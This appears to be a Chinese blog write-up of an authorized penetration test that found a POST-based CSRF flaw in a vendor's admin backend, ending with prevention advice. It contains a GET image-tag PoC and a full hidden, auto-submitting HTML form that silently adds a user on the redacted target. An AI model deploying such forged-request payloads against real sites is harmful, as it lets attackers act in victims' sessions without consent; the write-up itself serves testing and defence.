记一次授权测试中POST型的CSRF漏洞发现

1.前言

之前应对CSRF漏洞,一直是使用img等标签来自动加载URL,进行GET传参的漏洞利用,执行指定操作,比如下面的POC:

<img src="https://xxxxx.com.cn/SCOREMZ/integrall/add.do?khname=CSRF&idcard=610111111111111111&phone=18111111113&jifen=100&creattime=&endtime=&qdbh=%E6%B5%8B%E8%AF%95&amount=">

因此一直觉得在预防CSRF上,将参数使用POST方式来传递也是一种预防方案,虽然该方案不够严谨。

直到今天碰到了这个漏洞,我才发现单纯的改变Method为POST根本无法预防CSRF,因为攻击者只需要构造相应的POST表单,然后在代码中加入JS自动提交就OK了,丝毫不影响漏洞的利用。

所以改变Method只是使得CSRF漏洞更容易隐藏,使得攻击者的操作稍微麻烦一些而已,根本问题并没有解决。

2.漏洞

该漏洞是在给一个厂商的后台做安全测试时发现的,首先是发现系统并未设置Token,因此有很大概率存在CSRF,然后抓取一个添加用户的数据包,将Referer头删除再发包,发现成功执行:
记一次授权测试中POST型的CSRF漏洞发现_第1张图片
既没有Token,又没有验证Referer,基本可以断定存在CSRF漏洞了。

Burp抓包,将Method改为GET:
记一次授权测试中POST型的CSRF漏洞发现_第2张图片
利用生成的请求URL构造POC,但是点击构造的页面后无法成功执行操作,因此判断后台只接受POST传参,需要进行表单提交。

既然知道数据包的参数,就可以来构造自动提交表单的POC了:

<html>
  <body>
    <form name="form1" action="https://xxxxx.com.cn/SCOREMZ/integrall/add.do" method="post">
      <input type="hidden" name="khname" value="CSRFFFFFFFFFFFFFFFFFF" />
      <input type="hidden" name="idcard" value="619111111111111111" />
      <input type="hidden" name="phone" value="18111111111" />
      <input type="hidden" name="jifen" value="2" />
      <input type="hidden" name="creattime" value="" />
      <input type="hidden" name="endtime" value="" />
      <input type="hidden" name="qdbh" value="aaaaaaaaaaaaa" />
      <input type="hidden" name="amount" value="" />
    form>
	<script language=javascript>document.forms[0].submit()script>
  body>
html>

POC中使用了 document.form.submit() 来进行表单的自动提交,且所有的input框都设置成hidden属性,这样就可以利用仅接受POST参数的CSRF漏洞,还不被发现了。

将POC代码保存为HTML文件,放置在本地服务器中,使用同一浏览器访问该文件,成功提交表单:
记一次授权测试中POST型的CSRF漏洞发现_第3张图片
抓取本页面自动提交的数据包,发现Referer头是本地,后台并没有进行验证
记一次授权测试中POST型的CSRF漏洞发现_第4张图片
查看后台,成功执行语句,创建了一个新用户 CSRFFFFFFFFFFFF
记一次授权测试中POST型的CSRF漏洞发现_第5张图片
就是这样,此漏洞定级为中危。

3.后话

对于CSRF的检测,如果没有Token或者验证码之类的,那基本就有希望了,接下来就是Referer的测试了,一般Referer验证有以下几种情况:

  • 域验证
  • 域名验证
  • 关键字验证

都有绕过的方法,具体可以看51CTO里这位师傅的文章:

  • https://blog.51cto.com/0x007/1610946

至于如何预防CSRF,其实也很简单,大致可以有以下几种方法:

  • 在请求中添加Token,这种方式不光能预防CSRF,还能预防多种攻击,比如重放攻击。
  • 严格验证Referer、Origin字段,可根据同源策略进行过滤,当Referer出现为空或不存在之类的情况,可选择直接进制请求。
  • 敏感操作中可选择再次验证密码或加入图形验证码。

值得注意的是,改用POST请求方式是错误的预防方法。

你可能感兴趣的:(渗透测试,csrf)